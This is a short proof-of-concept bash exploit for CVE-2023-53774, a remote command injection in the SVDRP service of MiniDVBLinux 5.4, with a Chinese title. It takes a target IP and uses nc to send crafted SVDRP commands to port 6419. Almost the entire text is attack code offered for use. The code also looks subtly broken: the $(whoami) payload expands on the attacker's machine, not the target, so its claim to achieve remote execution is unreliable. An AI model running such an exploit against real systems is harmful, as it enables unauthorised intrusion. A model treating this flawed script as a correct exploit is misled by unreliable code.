CVE-2023-53774 MiniDVBLinux 5.4 SVDRP协议远程代码执行漏洞

#!/bin/bash # CVE-2023-53774 PoC - MiniDVBLinux SVDRP Remote Code Execution # Target: MiniDVBLinux 5.4 with VDR SVDRP service TARGET_HOST="$1" TARGET_PORT="6419" if [ -z "$TARGET_HOST" ]; then echo "Usage: $0 <target_ip>" exit 1 fi echo "[*] CVE-2023-53774 PoC for MiniDVBLinux SVDRP RCE" echo "[*] Target: $TARGET_HOST:$TARGET_PORT" # Connect to SVDRP and send malicious command # The vulnerability allows command injection through SVDRP protocol (echo -e "PING;1\nLSTR\nQUIT" | nc -q 2 "$TARGET_HOST" "$TARGET_PORT") & sleep 1 # Example: Send crafted SVDRP command for RCE echo "[+] Sending malicious SVDRP command..." echo -e "MESG '$(whoami)'\nQUIT" | nc -w 3 "$TARGET_HOST" "$TARGET_PORT" echo "[+] Check if command was executed on target system"